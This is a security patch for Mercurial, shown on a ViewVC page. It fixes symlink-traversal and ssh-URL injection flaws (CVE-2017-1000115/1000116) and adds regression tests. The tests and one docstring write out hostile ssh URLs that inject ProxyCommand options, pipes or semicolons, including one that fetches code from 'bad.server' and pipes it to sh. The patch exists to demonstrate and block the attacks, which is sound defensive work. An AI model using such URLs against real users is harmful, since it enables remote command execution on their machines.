/[packages]/updates/5/mercurial/current/SOURCES/hg-cve-2017-1000115-1000116.patch
ViewVC logotype

Contents of /updates/5/mercurial/current/SOURCES/hg-cve-2017-1000115-1000116.patch

Parent Directory Parent Directory | Revision Log Revision Log


Revision 1151141 - (show annotations) (download)
Mon Sep 4 13:03:43 2017 UTC (6 years, 7 months ago) by philippem
File size: 27726 byte(s)
mga#21510 CVE-2017-1000115 and CVE-2017-1000116 with Debian patch
1 --- mercurial-3.1.2.orig/mercurial/cmdutil.py
2 +++ mercurial-3.1.2/mercurial/cmdutil.py
3 @@ -2479,11 +2479,11 @@ def _performrevert(repo, parents, ctx, a
4 node = ctx.node()
5 def checkout(f):
6 fc = ctx[f]
7 repo.wwrite(f, fc.data(), fc.flags())
8
9 - audit_path = pathutil.pathauditor(repo.root)
10 + audit_path = pathutil.pathauditor(repo.root, cached=True)
11 for f in actions['remove'][0]:
12 if repo.dirstate[f] == 'a':
13 repo.dirstate.drop(f)
14 continue
15 audit_path(f)
16 --- mercurial-3.1.2.orig/mercurial/dirstate.py
17 +++ mercurial-3.1.2/mercurial/dirstate.py
18 @@ -744,11 +744,11 @@ class dirstate(object):
19 if unknown:
20 # unknown == True means we walked all dirs under the roots
21 # that wasn't ignored, and everything that matched was stat'ed
22 # and is already in results.
23 # The rest must thus be ignored or under a symlink.
24 - audit_path = pathutil.pathauditor(self._root)
25 + audit_path = pathutil.pathauditor(self._root, cached=True)
26
27 for nf in iter(visit):
28 # Report ignored items in the dmap as long as they are not
29 # under a symlink directory.
30 if audit_path.check(nf):
31 --- mercurial-3.1.2.orig/mercurial/localrepo.py
32 +++ mercurial-3.1.2/mercurial/localrepo.py
33 @@ -196,11 +196,11 @@ class localrepository(object):
34 self.wopener = self.wvfs
35 self.root = self.wvfs.base
36 self.path = self.wvfs.join(".hg")
37 self.origroot = path
38 self.auditor = pathutil.pathauditor(self.root, self._checknested)
39 - self.vfs = scmutil.vfs(self.path)
40 + self.vfs = scmutil.vfs(self.path, cacheaudited=True)
41 self.opener = self.vfs
42 self.baseui = baseui
43 self.ui = baseui.copy()
44 self.ui.copy = baseui.copy # prevent copying repo configuration
45 # A list of callback to shape the phase if no data were found.
46 @@ -268,11 +268,13 @@ class localrepository(object):
47 self.sharedpath = s
48 except IOError, inst:
49 if inst.errno != errno.ENOENT:
50 raise
51
52 - self.store = store.store(requirements, self.sharedpath, scmutil.vfs)
53 + self.store = store.store(
54 + requirements, self.sharedpath,
55 + lambda base: scmutil.vfs(base, cacheaudited=True))
56 self.spath = self.store.path
57 self.svfs = self.store.vfs
58 self.sopener = self.svfs
59 self.sjoin = self.store.join
60 self.vfs.createmode = self.store.createmode
61 --- mercurial-3.1.2.orig/mercurial/pathutil.py
62 +++ mercurial-3.1.2/mercurial/pathutil.py
63 @@ -16,16 +16,21 @@ class pathauditor(object):
64 - starts at the root of a windows drive
65 - contains ".."
66 - traverses a symlink (e.g. a/symlink_here/b)
67 - inside a nested repository (a callback can be used to approve
68 some nested repositories, e.g., subrepositories)
69 +
70 + If 'cached' is set to True, audited paths and sub-directories are cached.
71 + Be careful to not keep the cache of unmanaged directories for long because
72 + audited paths may be replaced with symlinks.
73 '''
74
75 - def __init__(self, root, callback=None):
76 + def __init__(self, root, callback=None, cached=False):
77 self.audited = set()
78 self.auditeddir = set()
79 self.root = root
80 + self._cached = cached
81 self.callback = callback
82 if os.path.lexists(root) and not util.checkcase(root):
83 self.normcase = util.normcase
84 else:
85 self.normcase = lambda x: x
86 @@ -94,14 +99,15 @@ class pathauditor(object):
87 % (path, prefix))
88 prefixes.append(normprefix)
89 parts.pop()
90 normparts.pop()
91
92 - self.audited.add(normpath)
93 - # only add prefixes to the cache after checking everything: we don't
94 - # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
95 - self.auditeddir.update(prefixes)
96 + if self._cached:
97 + self.audited.add(normpath)
98 + # only add prefixes to the cache after checking everything: we don't
99 + # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
100 + self.auditeddir.update(prefixes)
101
102 def check(self, path):
103 try:
104 self(path)
105 return True
106 --- mercurial-3.1.2.orig/mercurial/posix.py
107 +++ mercurial-3.1.2/mercurial/posix.py
108 @@ -5,10 +5,11 @@
109 # This software may be used and distributed according to the terms of the
110 # GNU General Public License version 2 or any later version.
111
112 from i18n import _
113 import encoding
114 +import error
115 import os, sys, errno, stat, getpass, pwd, grp, socket, tempfile, unicodedata
116
117 posixfile = open
118 normpath = os.path.normpath
119 samestat = os.path.samestat
120 @@ -62,11 +63,17 @@ def parsepatchoutput(output_line):
121 return pf
122
123 def sshargs(sshcmd, host, user, port):
124 '''Build argument list for ssh'''
125 args = user and ("%s@%s" % (user, host)) or host
126 - return port and ("%s -p %s" % (args, port)) or args
127 + if '-' in args[:1]:
128 + raise error.Abort(
129 + _('illegal ssh hostname or username starting with -: %s') % args)
130 + args = shellquote(args)
131 + if port:
132 + args = '-p %s %s' % (shellquote(port), args)
133 + return args
134
135 def isexec(f):
136 """check whether a file is executable"""
137 return (os.lstat(f).st_mode & 0100 != 0)
138
139 --- mercurial-3.1.2.orig/mercurial/scmutil.py
140 +++ mercurial-3.1.2/mercurial/scmutil.py
141 @@ -238,28 +238,35 @@ class abstractvfs(object):
142 class vfs(abstractvfs):
143 '''Operate files relative to a base directory
144
145 This class is used to hide the details of COW semantics and
146 remote file access from higher level code.
147 +
148 + 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
149 + (b) the base directory is managed by hg and considered sort-of append-only.
150 + See pathutil.pathauditor() for details.
151 '''
152 - def __init__(self, base, audit=True, expandpath=False, realpath=False):
153 + def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
154 + realpath=False):
155 if expandpath:
156 base = util.expandpath(base)
157 if realpath:
158 base = os.path.realpath(base)
159 self.base = base
160 + self._cacheaudited = cacheaudited
161 self._setmustaudit(audit)
162 self.createmode = None
163 self._trustnlink = None
164
165 def _getmustaudit(self):
166 return self._audit
167
168 def _setmustaudit(self, onoff):
169 self._audit = onoff
170 if onoff:
171 - self.audit = pathutil.pathauditor(self.base)
172 + self.audit = pathutil.pathauditor(self.base,
173 + cached=self._cacheaudited)
174 else:
175 self.audit = util.always
176
177 mustaudit = property(_getmustaudit, _setmustaudit)
178
179 @@ -688,11 +695,11 @@ def _interestingfiles(repo, matcher):
180 about.
181
182 This is different from dirstate.status because it doesn't care about
183 whether files are modified or clean.'''
184 added, unknown, deleted, removed = [], [], [], []
185 - audit_path = pathutil.pathauditor(repo.root)
186 + audit_path = pathutil.pathauditor(repo.root, cached=True)
187
188 ctx = repo[None]
189 dirstate = repo.dirstate
190 walkresults = dirstate.walk(matcher, sorted(ctx.substate), True, False,
191 full=False)
192 --- mercurial-3.1.2.orig/mercurial/sshpeer.py
193 +++ mercurial-3.1.2/mercurial/sshpeer.py
194 @@ -35,24 +35,23 @@ class sshpeer(wireproto.wirepeer):
195
196 u = util.url(path, parsequery=False, parsefragment=False)
197 if u.scheme != 'ssh' or not u.host or u.path is None:
198 self._abort(error.RepoError(_("couldn't parse location %s") % path))
199
200 + util.checksafessh(path)
201 +
202 self.user = u.user
203 if u.passwd is not None:
204 self._abort(error.RepoError(_("password in URL not supported")))
205 self.host = u.host
206 self.port = u.port
207 self.path = u.path or "."
208
209 sshcmd = self.ui.config("ui", "ssh", "ssh")
210 remotecmd = self.ui.config("ui", "remotecmd", "hg")
211
212 - args = util.sshargs(sshcmd,
213 - _serverquote(self.host),
214 - _serverquote(self.user),
215 - _serverquote(self.port))
216 + args = util.sshargs(sshcmd, self.host, self.user, self.port)
217
218 if create:
219 cmd = '%s %s %s' % (sshcmd, args,
220 util.shellquote("%s init %s" %
221 (_serverquote(remotecmd), _serverquote(self.path))))
222 --- mercurial-3.1.2.orig/mercurial/subrepo.py
223 +++ mercurial-3.1.2/mercurial/subrepo.py
224 @@ -1074,10 +1074,14 @@ class svnsubrepo(abstractsubrepo):
225 if self._svnversion >= (1, 5):
226 args.append('--force')
227 # The revision must be specified at the end of the URL to properly
228 # update to a directory which has since been deleted and recreated.
229 args.append('%s@%s' % (state[0], state[1]))
230 +
231 + # SEC: check that the ssh url is safe
232 + util.checksafessh(state[0])
233 +
234 status, err = self._svncommand(args, failok=True)
235 _sanitize(self._ui, self._ctx._repo.wjoin(self._path), '.svn')
236 if not re.search('Checked out revision [0-9]+.', status):
237 if ('is already a working copy for a different URL' in err
238 and (self._wcchanged()[:2] == (False, False))):
239 @@ -1310,10 +1314,13 @@ class gitsubrepo(abstractsubrepo):
240 self._subsource = source
241 return _abssource(self)
242
243 def _fetch(self, source, revision):
244 if self._gitmissing():
245 + # SEC: check for safe ssh url
246 + util.checksafessh(source)
247 +
248 source = self._abssource(source)
249 self._ui.status(_('cloning subrepo %s from %s\n') %
250 (self._relpath, source))
251 self._gitnodir(['clone', source, self._abspath])
252 if self._githavelocally(revision):
253 --- mercurial-3.1.2.orig/mercurial/util.py
254 +++ mercurial-3.1.2/mercurial/util.py
255 @@ -1936,10 +1936,25 @@ def hasdriveletter(path):
256 return path and path[1:2] == ':' and path[0:1].isalpha()
257
258 def urllocalpath(path):
259 return url(path, parsequery=False, parsefragment=False).localpath()
260
261 +def checksafessh(path):
262 + """check if a path / url is a potentially unsafe ssh exploit (SEC)
263 +
264 + This is a sanity check for ssh urls. ssh will parse the first item as
265 + an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
266 + Let's prevent these potentially exploited urls entirely and warn the
267 + user.
268 +
269 + Raises an error.Abort when the url is unsafe.
270 + """
271 + path = urllib.unquote(path)
272 + if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
273 + raise error.Abort(_('potentially unsafe url: %r') %
274 + (path,))
275 +
276 def hidepassword(u):
277 '''hide user credential in a url string'''
278 u = url(u)
279 if u.passwd:
280 u.passwd = '***'
281 --- mercurial-3.1.2.orig/mercurial/windows.py
282 +++ mercurial-3.1.2/mercurial/windows.py
283 @@ -4,11 +4,11 @@
284 #
285 # This software may be used and distributed according to the terms of the
286 # GNU General Public License version 2 or any later version.
287
288 from i18n import _
289 -import osutil, encoding
290 +import osutil, encoding, error
291 import errno, msvcrt, os, re, stat, sys, _winreg
292
293 import win32
294 executablepath = win32.executablepath
295 getuser = win32.getuser
296 @@ -98,11 +98,18 @@ def parsepatchoutput(output_line):
297
298 def sshargs(sshcmd, host, user, port):
299 '''Build argument list for ssh or Plink'''
300 pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
301 args = user and ("%s@%s" % (user, host)) or host
302 - return port and ("%s %s %s" % (args, pflag, port)) or args
303 + if args.startswith('-') or args.startswith('/'):
304 + raise error.Abort(
305 + _('illegal ssh hostname or username starting with - or /: %s') %
306 + args)
307 + args = shellquote(args)
308 + if port:
309 + args = '%s %s %s' % (pflag, shellquote(port), args)
310 + return args
311
312 def setflags(f, l, x):
313 pass
314
315 def copymode(src, dst, mode=None):
316 --- mercurial-3.1.2.orig/tests/test-audit-path.t
317 +++ mercurial-3.1.2/tests/test-audit-path.t
318 @@ -88,5 +88,104 @@ attack /tmp/test
319 $ hg update -Cr4
320 abort: path contains illegal component: /tmp/test (glob)
321 [255]
322
323 $ cd ..
324 +
325 +Test symlink traversal on merge:
326 +--------------------------------
327 +
328 +#if symlink
329 +
330 +set up symlink hell
331 +
332 + $ mkdir merge-symlink-out
333 + $ hg init merge-symlink
334 + $ cd merge-symlink
335 + $ touch base
336 + $ hg commit -qAm base
337 + $ ln -s ../merge-symlink-out a
338 + $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
339 + $ hg up -q 0
340 + $ mkdir a
341 + $ touch a/poisoned
342 + $ hg commit -qAm 'file a/poisoned'
343 + $ hg log -G -T '{rev}: {desc}\n'
344 + @ 2: file a/poisoned
345 + |
346 + | o 1: symlink a -> ../merge-symlink-out
347 + |/
348 + o 0: base
349 +
350 +
351 +try trivial merge
352 +
353 + $ hg up -qC 1
354 + $ hg merge 2
355 + abort: path 'a/poisoned' traverses symbolic link 'a'
356 + [255]
357 +
358 +try rebase onto other revision: cache of audited paths should be discarded,
359 +and the rebase should fail (issue5628)
360 +
361 + $ hg up -qC 2
362 + $ hg rebase -s 2 -d 1 --config extensions.rebase=
363 + abort: path 'a/poisoned' traverses symbolic link 'a'
364 + [255]
365 + $ ls ../merge-symlink-out
366 +
367 + $ cd ..
368 +
369 +Test symlink traversal on update:
370 +---------------------------------
371 +
372 + $ mkdir update-symlink-out
373 + $ hg init update-symlink
374 + $ cd update-symlink
375 + $ ln -s ../update-symlink-out a
376 + $ hg commit -qAm 'symlink a -> ../update-symlink-out'
377 + $ hg rm a
378 + $ mkdir a && touch a/b
379 + $ hg ci -qAm 'file a/b' a/b
380 + $ hg up -qC 0
381 + $ hg rm a
382 + $ mkdir a && touch a/c
383 + $ hg ci -qAm 'rm a, file a/c'
384 + $ hg log -G -T '{rev}: {desc}\n'
385 + @ 2: rm a, file a/c
386 + |
387 + | o 1: file a/b
388 + |/
389 + o 0: symlink a -> ../update-symlink-out
390 +
391 +
392 +try linear update where symlink already exists:
393 +
394 + $ hg up -qC 0
395 + $ hg up 1
396 + abort: path 'a/b' traverses symbolic link 'a'
397 + [255]
398 +
399 +try linear update including symlinked directory and its content: paths are
400 +audited first by calculateupdates(), where no symlink is created so both
401 +'a' and 'a/b' are taken as good paths. still applyupdates() should fail.
402 +
403 + $ hg up -qC null
404 + $ hg up 1
405 + abort: path 'a/b' traverses symbolic link 'a'
406 + [255]
407 + $ ls ../update-symlink-out
408 +
409 +try branch update replacing directory with symlink, and its content: the
410 +path 'a' is audited as a directory first, which should be audited again as
411 +a symlink.
412 +
413 + $ rm -f a
414 + $ hg up -qC 2
415 + $ hg up 1
416 + abort: path 'a/b' traverses symbolic link 'a'
417 + [255]
418 + $ ls ../update-symlink-out
419 +
420 + $ cd ..
421 +
422 +#endif
423 --- mercurial-3.1.2.orig/tests/test-clone.t
424 +++ mercurial-3.1.2/tests/test-clone.t
425 @@ -633,5 +633,68 @@ Test clone from the repository in (emula
426 0:e1bab28bca43
427 $ hg clone -U -q src dst
428 $ hg -R dst log -q
429 0:e1bab28bca43
430 $ cd ..
431 +
432 +SEC: check for unsafe ssh url
433 +
434 + $ cat >> $HGRCPATH << EOF
435 + > [ui]
436 + > ssh = sh -c "read l; read l; read l"
437 + > EOF
438 +
439 + $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
440 + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
441 + [255]
442 + $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
443 + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
444 + [255]
445 + $ hg clone 'ssh://fakehost|touch%20owned/path'
446 + abort: no suitable response from remote hg!
447 + [255]
448 + $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
449 + abort: no suitable response from remote hg!
450 + [255]
451 +
452 + $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
453 + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
454 + [255]
455 +
456 +#if windows
457 + $ hg clone "ssh://%26touch%20owned%20/" --debug
458 + running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
459 + sending hello command
460 + sending between command
461 + abort: no suitable response from remote hg!
462 + [255]
463 + $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
464 + running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
465 + sending hello command
466 + sending between command
467 + abort: no suitable response from remote hg!
468 + [255]
469 +#else
470 + $ hg clone "ssh://%3btouch%20owned%20/" --debug
471 + running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
472 + sending hello command
473 + sending between command
474 + abort: no suitable response from remote hg!
475 + [255]
476 + $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
477 + running sh -c "read l; read l; read l" -p ';touch owned ' 'example.com' 'hg -R . serve --stdio'
478 + sending hello command
479 + sending between command
480 + abort: no suitable response from remote hg!
481 + [255]
482 +#endif
483 +
484 + $ hg clone "ssh://v-alid.example.com/" --debug
485 + running sh -c "read l; read l; read l" 'v-alid\.example\.com' ['"]hg -R \. serve --stdio['"] (re)
486 + sending hello command
487 + sending between command
488 + abort: no suitable response from remote hg!
489 + [255]
490 +
491 +We should not have created a file named owned - if it exists, the
492 +attack succeeded.
493 + $ if test -f owned; then echo 'you got owned'; fi
494 --- mercurial-3.1.2.orig/tests/test-commandserver.py
495 +++ mercurial-3.1.2/tests/test-commandserver.py
496 @@ -302,10 +302,38 @@ def getpass(server):
497 def startwithoutrepo(server):
498 readchannel(server)
499 runcommand(server, ['init', 'repo2'])
500 runcommand(server, ['id', '-R', 'repo2'])
501
502 +def traversalsetup(server):
503 + readchannel(server)
504 +
505 + # set up symlink hell
506 + f = open('base', 'ab')
507 + f.close()
508 + runcommand(server, ['commit', '-qAm', 'base'])
509 + os.symlink('../merge-symlink-out', 'a')
510 + runcommand(server, ['commit', '-qAm', 'symlink a -> ../merge-symlink-out'])
511 + runcommand(server, ['up', '-q', '0'])
512 + os.mkdir('a')
513 + f = open('a/poisoned', 'ab')
514 + f.close()
515 + runcommand(server, ['commit', '-qAm', 'file a/poisoned'])
516 + runcommand(server, ['log', '-G', '-T', '{rev}: {desc}\n'])
517 +
518 +def traversalmerge(server):
519 + # try trivial merge after update: cache of audited paths should be
520 + # discarded, and the merge should fail (issue5628)
521 + readchannel(server)
522 + runcommand(server, ['up', '-q', 'null'])
523 + # audit a/poisoned as a good path
524 + runcommand(server, ['up', '-qC', '2'])
525 + runcommand(server, ['up', '-qC', '1'])
526 + # here a is a symlink, so a/poisoned is bad
527 + runcommand(server, ['merge', '2'])
528 + os.system('ls ../merge-symlink-out')
529 +
530 if __name__ == '__main__':
531 os.system('hg init repo')
532 os.chdir('repo')
533
534 check(hellomessage)
535 @@ -353,5 +381,12 @@ if __name__ == '__main__':
536 check(getpass)
537
538 os.chdir('..')
539 check(hellomessage)
540 check(startwithoutrepo)
541 +
542 + os.mkdir('merge-symlink-out')
543 + os.system('hg init merge-symlink')
544 + os.chdir('merge-symlink')
545 + check(traversalsetup)
546 + check(traversalmerge)
547 + os.chdir('..')
548 --- mercurial-3.1.2.orig/tests/test-commandserver.py.out
549 +++ mercurial-3.1.2/tests/test-commandserver.py.out
550 @@ -258,5 +258,29 @@ abort: there is no Mercurial repository
551 testing startwithoutrepo:
552
553 runcommand init repo2
554 runcommand id -R repo2
555 000000000000 tip
556 +
557 +testing traversalsetup:
558 +
559 + runcommand commit -qAm base
560 + runcommand commit -qAm symlink a -> ../merge-symlink-out
561 + runcommand up -q 0
562 + runcommand commit -qAm file a/poisoned
563 + runcommand log -G -T {rev}: {desc}
564 +
565 +@ 2: file a/poisoned
566 +|
567 +| o 1: symlink a -> ../merge-symlink-out
568 +|/
569 +o 0: base
570 +
571 +
572 +testing traversalmerge:
573 +
574 + runcommand up -q null
575 + runcommand up -qC 2
576 + runcommand up -qC 1
577 + runcommand merge 2
578 +abort: path 'a/poisoned' traverses symbolic link 'a'
579 + [255]
580 --- mercurial-3.1.2.orig/tests/test-pull.t
581 +++ mercurial-3.1.2/tests/test-pull.t
582 @@ -87,6 +87,28 @@ regular shell commands.
583 [255]
584
585 $ URL=`python -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
586 $ hg pull -q "$URL"
587
588 +SEC: check for unsafe ssh url
589 +
590 + $ cat >> $HGRCPATH << EOF
591 + > [ui]
592 + > ssh = sh -c "read l; read l; read l"
593 + > EOF
594 +
595 + $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
596 + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
597 + [255]
598 + $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
599 + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
600 + [255]
601 + $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
602 + abort: no suitable response from remote hg!
603 + [255]
604 + $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
605 + abort: no suitable response from remote hg!
606 + [255]
607 +
608 + $ [ ! -f owned ] || echo 'you got owned'
609 +
610 $ cd ..
611 --- mercurial-3.1.2.orig/tests/test-push-r.t
612 +++ mercurial-3.1.2/tests/test-push-r.t
613 @@ -145,5 +145,31 @@
614 crosschecking files in changesets and manifests
615 checking files
616 4 files, 9 changesets, 7 total revisions
617
618 $ cd ..
619 +
620 +SEC: check for unsafe ssh url
621 +
622 + $ cat >> $HGRCPATH << EOF
623 + > [ui]
624 + > ssh = sh -c "read l; read l; read l"
625 + > EOF
626 +
627 + $ hg -R test push 'ssh://-oProxyCommand=touch${IFS}owned/path'
628 + pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
629 + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
630 + [255]
631 + $ hg -R test push 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
632 + pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
633 + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
634 + [255]
635 + $ hg -R test push 'ssh://fakehost|touch${IFS}owned/path'
636 + pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
637 + abort: no suitable response from remote hg!
638 + [255]
639 + $ hg -R test push 'ssh://fakehost%7Ctouch%20owned/path'
640 + pushing to ssh://fakehost%7Ctouch%20owned/path
641 + abort: no suitable response from remote hg!
642 + [255]
643 +
644 + $ [ ! -f owned ] || echo 'you got owned'
645 --- mercurial-3.1.2.orig/tests/test-subrepo-git.t
646 +++ mercurial-3.1.2/tests/test-subrepo-git.t
647 @@ -692,5 +692,36 @@ whitelisting of ext should be respected
648 and the repository exists.
649 updating to branch default
650 cloning subrepo s from ext::sh -c echo% pwned% >&2
651 abort: git clone error 128 in s (in subrepo s)
652 [255]
653 +
654 +test for ssh exploit with git subrepos 2017-07-25
655 +
656 + $ hg init malicious-proxycommand
657 + $ cd malicious-proxycommand
658 + $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
659 + $ git init s
660 + Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
661 + $ cd s
662 + $ git commit --allow-empty -m 'empty'
663 + [master (root-commit) 153f934] empty
664 + $ cd ..
665 + $ hg add .hgsub
666 + $ hg ci -m 'add subrepo'
667 + $ cd ..
668 + $ hg clone malicious-proxycommand malicious-proxycommand-clone
669 + updating to branch default
670 + abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
671 + [255]
672 +
673 +also check that a percent encoded '-' (%2D) doesn't work
674 +
675 + $ cd malicious-proxycommand
676 + $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
677 + $ hg ci -m 'change url to percent encoded'
678 + $ cd ..
679 + $ rm -r malicious-proxycommand-clone
680 + $ hg clone malicious-proxycommand malicious-proxycommand-clone
681 + updating to branch default
682 + abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
683 + [255]
684 --- mercurial-3.1.2.orig/tests/test-subrepo-svn.t
685 +++ mercurial-3.1.2/tests/test-subrepo-svn.t
686 @@ -682,5 +682,45 @@ Test that sanitizing is omitted in meta
687 $ mkdir s/.svn/.hg
688 $ echo '.hg/hgrc in svn metadata area' > s/.svn/.hg/hgrc
689 $ hg update -q -C '.^1'
690
691 $ cd ../..
692 +
693 +SEC: test for ssh exploit
694 +
695 + $ hg init ssh-vuln
696 + $ cd ssh-vuln
697 + $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
698 + $ svn co --quiet "$SVNREPOURL"/src s
699 + $ hg add .hgsub
700 + $ hg ci -m1
701 + $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
702 + $ hg ci -m2
703 + $ cd ..
704 + $ hg clone ssh-vuln ssh-vuln-clone
705 + updating to branch default
706 + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
707 + [255]
708 +
709 +also check that a percent encoded '-' (%2D) doesn't work
710 +
711 + $ cd ssh-vuln
712 + $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
713 + $ hg ci -m3
714 + $ cd ..
715 + $ rm -r ssh-vuln-clone
716 + $ hg clone ssh-vuln ssh-vuln-clone
717 + updating to branch default
718 + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
719 + [255]
720 +
721 +also check that hiding the attack in the username doesn't work:
722 +
723 + $ cd ssh-vuln
724 + $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
725 + $ hg ci -m3
726 + $ cd ..
727 + $ rm -r ssh-vuln-clone
728 + $ hg clone ssh-vuln ssh-vuln-clone
729 + updating to branch default
730 + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s)
731 + [255]
732 --- mercurial-3.1.2.orig/tests/test-subrepo.t
733 +++ mercurial-3.1.2/tests/test-subrepo.t
734 @@ -1472,5 +1472,79 @@ Test that '[paths]' is configured correc
735 $ cat t/.hg/hgrc
736 [paths]
737 default = $TESTTMP/t/t
738 default-push = /foo/bar/t
739 $ cd ..
740 +
741 +test for ssh exploit 2017-07-25
742 +
743 + $ cat >> $HGRCPATH << EOF
744 + > [ui]
745 + > ssh = sh -c "read l; read l; read l"
746 + > EOF
747 +
748 + $ hg init malicious-proxycommand
749 + $ cd malicious-proxycommand
750 + $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
751 + $ hg init s
752 + $ cd s
753 + $ echo init > init
754 + $ hg add
755 + adding init
756 + $ hg commit -m init
757 + $ cd ..
758 + $ hg add .hgsub
759 + $ hg ci -m 'add subrepo'
760 + $ cd ..
761 + $ hg clone malicious-proxycommand malicious-proxycommand-clone
762 + updating to branch default
763 + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
764 + [255]
765 +
766 +also check that a percent encoded '-' (%2D) doesn't work
767 +
768 + $ cd malicious-proxycommand
769 + $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
770 + $ hg ci -m 'change url to percent encoded'
771 + $ cd ..
772 + $ rm -r malicious-proxycommand-clone
773 + $ hg clone malicious-proxycommand malicious-proxycommand-clone
774 + updating to branch default
775 + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
776 + [255]
777 +
778 +also check for a pipe
779 +
780 + $ cd malicious-proxycommand
781 + $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
782 + $ hg ci -m 'change url to pipe'
783 + $ cd ..
784 + $ rm -r malicious-proxycommand-clone
785 + $ hg clone malicious-proxycommand malicious-proxycommand-clone
786 + updating to branch default
787 + abort: no suitable response from remote hg!
788 + [255]
789 + $ [ ! -f owned ] || echo 'you got owned'
790 +
791 +also check that a percent encoded '|' (%7C) doesn't work
792 +
793 + $ cd malicious-proxycommand
794 + $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
795 + $ hg ci -m 'change url to percent encoded pipe'
796 + $ cd ..
797 + $ rm -r malicious-proxycommand-clone
798 + $ hg clone malicious-proxycommand malicious-proxycommand-clone
799 + updating to branch default
800 + abort: no suitable response from remote hg!
801 + [255]
802 + $ [ ! -f owned ] || echo 'you got owned'
803 +
804 +and bad usernames:
805 + $ cd malicious-proxycommand
806 + $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
807 + $ hg ci -m 'owned username'
808 + $ cd ..
809 + $ rm -r malicious-proxycommand-clone
810 + $ hg clone malicious-proxycommand malicious-proxycommand-clone
811 + updating to branch default
812 + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s)
813 + [255]

  ViewVC Help
Powered by ViewVC 1.1.30